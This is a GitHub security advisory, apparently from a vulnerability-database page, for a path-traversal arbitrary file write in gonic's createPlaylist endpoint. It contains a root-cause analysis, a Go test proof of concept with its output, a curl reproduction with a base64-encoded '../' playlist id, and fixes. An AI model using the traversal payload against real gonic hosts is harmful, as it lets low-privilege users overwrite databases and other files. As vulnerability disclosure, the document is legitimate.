GHSA-4GXV-P5G5-J7W7

Vulnerability from github – Published: 2026-06-26 23:21 – Updated: 2026-06-26 23:21
VLAI
Summary
gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host
Details

Summary

A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.

The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.

Root cause — unreachable guard clause

server/ctrlsubsonic/handlers_playlist.go:74-90:

func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
    user := r.Context().Value(CtxUser).(*db.User)
    params := r.Context().Value(CtxParams).(params.Params)

    playlistID, _ := params.GetFirstID("id", "playlistId")
    playlistPath := playlistIDDecode(playlistID)   // attacker-controlled, base64-decoded

    var playlist playlistp.Playlist
    if playlistPath != "" {
        if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
            //                                              ^^^^^^^^^^^^^^^^^^^^^^^^^
            //                                              this condition is UNREACHABLE
            playlist = *pl
        }
    }

    if playlist.UserID != 0 && playlist.UserID != user.ID {
        return spec.NewError(50, "you aren't allowed update that user's playlist")
    }
    ...

playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).

So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.

Root cause — no path containment in Store.Write

playlist/playlist.go:146-160:

func (s *Store) Write(relPath string, playlist *Playlist) error {
    defer lock(&s.mu)()
    if err := sanityCheck(s.basePath); err != nil {
        return err
    }
    absPath := filepath.Join(s.basePath, relPath)
    if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil {  // world-writable!
        return fmt.Errorf("make m3u base dir: %w", err)
    }
    file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666)    // create-or-open
    ...
    if err := file.Truncate(0); err != nil {                            // wipe existing
        ...
    }

filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:

package ctrlsubsonic

import (
    "net/url"
    "os"
    "path/filepath"
    "testing"

    "github.com/stretchr/testify/require"
)

func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
    f := newFixture(t)

    // playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
    // resolves under the parent <tmp> dir — escaping the playlists/ subtree.
    traversalRel := filepath.Join("..", "injected.m3u")
    traversalID := playlistIDEncode(traversalRel).String()

    // f.alt is the NON-ADMIN user (ID=2).
    resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
        "id":   {traversalID},
        "name": {"injected-by-low-priv-user"},
    })
    t.Logf("resp: %+v", string(resp))

    tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
    target := filepath.Join(tmpDir, "injected.m3u")
    stat, err := os.Stat(target)
    require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
    require.False(t, stat.IsDir())

    contents, err := os.ReadFile(target)
    require.NoError(t, err)
    t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}

Test output against current master HEAD 6dd71e6:

=== RUN   TestCreatePlaylistArbitraryWrite_RawPath
    resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
        "playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,
        "owner":"alt","songCount":0,...}}}
    VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u
        #GONIC-NAME:"injected-by-low-priv-user"
        #GONIC-COMMENT:""
        #GONIC-IS-PUBLIC:"false"
--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)

The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.

HTTP-level reproduction

# Target a writable path on the gonic host.
# Encode "../../../var/log/anything.log" (note: gonic must be able to write there)
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
  | python3 -m json.tool
# Response: {"subsonic-response":{"status":"ok",...}}
# Side effect: file written at /var/log/anything.log with M3U structured content,
# intermediate directories created with 0o777 permissions.

Impact

  • Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC: attributes, plus song paths), but the name value is attacker-controlled and structurally placed (no newline injection; strconv.Quote escapes specials).
  • Availability: Overwriting gonic.db (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.
  • Filesystem state: MkdirAll(dir, 0o777) creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.
  • Trust boundary: gonic explicitly supports a non-admin user role (ServeCreateUser, the IsAdmin flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.
  • Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the #GONIC-NAME:"..." header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High

Suggested fix

Two changes, either of which mitigates this:

1. Fix the unreachable guard at handlers_playlist.go:83:

// Currently (BROKEN):
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
    playlist = *pl
}

// Fixed:
if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {
    playlist = *pl
}

This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.

2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):

absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
    return fmt.Errorf("path %q escapes playlist directory", relPath)
}

Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "go.senan.xyz/gonic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-697",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:21:42Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions.\n\nThe bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**.\n\n## Root cause \u2014 unreachable guard clause\n\n`server/ctrlsubsonic/handlers_playlist.go:74-90`:\n\n```go\nfunc (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {\n    user := r.Context().Value(CtxUser).(*db.User)\n    params := r.Context().Value(CtxParams).(params.Params)\n\n    playlistID, _ := params.GetFirstID(\"id\", \"playlistId\")\n    playlistPath := playlistIDDecode(playlistID)   // attacker-controlled, base64-decoded\n\n    var playlist playlistp.Playlist\n    if playlistPath != \"\" {\n        if pl, err := c.playlistStore.Read(playlistPath); err != nil \u0026\u0026 pl != nil {\n            //                                              ^^^^^^^^^^^^^^^^^^^^^^^^^\n            //                                              this condition is UNREACHABLE\n            playlist = *pl\n        }\n    }\n\n    if playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID {\n        return spec.NewError(50, \"you aren\u0027t allowed update that user\u0027s playlist\")\n    }\n    ...\n```\n\n`playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.**\n\nSo the inner branch `err != nil \u0026\u0026 pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID` simplifies to `false \u0026\u0026 (anything)` and **always passes**, regardless of who owns the target path.\n\n## Root cause \u2014 no path containment in `Store.Write`\n\n`playlist/playlist.go:146-160`:\n\n```go\nfunc (s *Store) Write(relPath string, playlist *Playlist) error {\n    defer lock(\u0026s.mu)()\n    if err := sanityCheck(s.basePath); err != nil {\n        return err\n    }\n    absPath := filepath.Join(s.basePath, relPath)\n    if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil {  // world-writable!\n        return fmt.Errorf(\"make m3u base dir: %w\", err)\n    }\n    file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666)    // create-or-open\n    ...\n    if err := file.Truncate(0); err != nil {                            // wipe existing\n        ...\n    }\n```\n\n`filepath.Join(\"/var/lib/gonic/playlists\", \"../../etc/cron.daily/anything\")` resolves to `/var/lib/gonic/etc/cron.daily/anything` \u2014 Go\u0027s `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path.\n\n## Live PoC \u2014 passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {\n\tf := newFixture(t)\n\n\t// playlistStore.basePath = \u003ctmp\u003e/playlists/. A relPath of \"../injected.m3u\"\n\t// resolves under the parent \u003ctmp\u003e dir \u2014 escaping the playlists/ subtree.\n\ttraversalRel := filepath.Join(\"..\", \"injected.m3u\")\n\ttraversalID := playlistIDEncode(traversalRel).String()\n\n\t// f.alt is the NON-ADMIN user (ID=2).\n\tresp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{\n\t\t\"id\":   {traversalID},\n\t\t\"name\": {\"injected-by-low-priv-user\"},\n\t})\n\tt.Logf(\"resp: %+v\", string(resp))\n\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\ttarget := filepath.Join(tmpDir, \"injected.m3u\")\n\tstat, err := os.Stat(target)\n\trequire.NoError(t, err, \"VULNERABLE if the file exists outside playlists/\")\n\trequire.False(t, stat.IsDir())\n\n\tcontents, err := os.ReadFile(target)\n\trequire.NoError(t, err)\n\tt.Logf(\"VULNERABLE \u2014 file written at %s\\n%s\", target, string(contents))\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN   TestCreatePlaylistArbitraryWrite_RawPath\n    resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n        \"playlist\":{\"id\":\"pl-Li4vaW5qZWN0ZWQubTN1\",\"name\":\"injected-by-low-priv-user\",...,\n        \"owner\":\"alt\",\"songCount\":0,...}}}\n    VULNERABLE \u2014 file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u\n        #GONIC-NAME:\"injected-by-low-priv-user\"\n        #GONIC-COMMENT:\"\"\n        #GONIC-IS-PUBLIC:\"false\"\n--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)\n```\n\nThe file was created at `\u003ctmp\u003e/injected.m3u` while the playlist store\u0027s basePath is `\u003ctmp\u003e/playlists/` \u2014 write succeeded outside the intended directory.\n\n## HTTP-level reproduction\n\n```bash\n# Target a writable path on the gonic host.\n# Encode \"../../../var/log/anything.log\" (note: gonic must be able to write there)\nRAW=\u0027../../../var/log/anything.log\u0027\nID=\"pl-$(printf \u0027%s\u0027 \"$RAW\" | base64 -w0 | tr \u0027/+\u0027 \u0027_-\u0027)\"\n\ncurl -s \"http://gonic-host/rest/createPlaylist.view?u=lowpriv\u0026p=pass\u0026c=poc\u0026v=1.16.1\u0026f=json\u0026id=$ID\u0026name=injected\" \\\n  | python3 -m json.tool\n# Response: {\"subsonic-response\":{\"status\":\"ok\",...}}\n# Side effect: file written at /var/log/anything.log with M3U structured content,\n# intermediate directories created with 0o777 permissions.\n```\n\n## Impact\n\n- **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic\u0027s own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials).\n- **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state \u2014 accounts, ratings, playlists, etc. The write is unrecoverable.\n- **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.\n- **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process\u0027s working set.\n- **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:\"...\"` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High**\n\n## Suggested fix\n\nTwo changes, either of which mitigates this:\n\n**1. Fix the unreachable guard at `handlers_playlist.go:83`**:\n\n```go\n// Currently (BROKEN):\nif pl, err := c.playlistStore.Read(playlistPath); err != nil \u0026\u0026 pl != nil {\n    playlist = *pl\n}\n\n// Fixed:\nif pl, err := c.playlistStore.Read(playlistPath); err == nil \u0026\u0026 pl != nil {\n    playlist = *pl\n}\n```\n\nThis restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed.\n\n**2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory):\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)\nrel, err := filepath.Rel(s.basePath, absPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n    return fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n}\n```\n\nApply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-4gxv-p5g5-j7w7",
  "modified": "2026-06-26T23:21:42Z",
  "published": "2026-06-26T23:21:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49340"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sentriz/gonic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.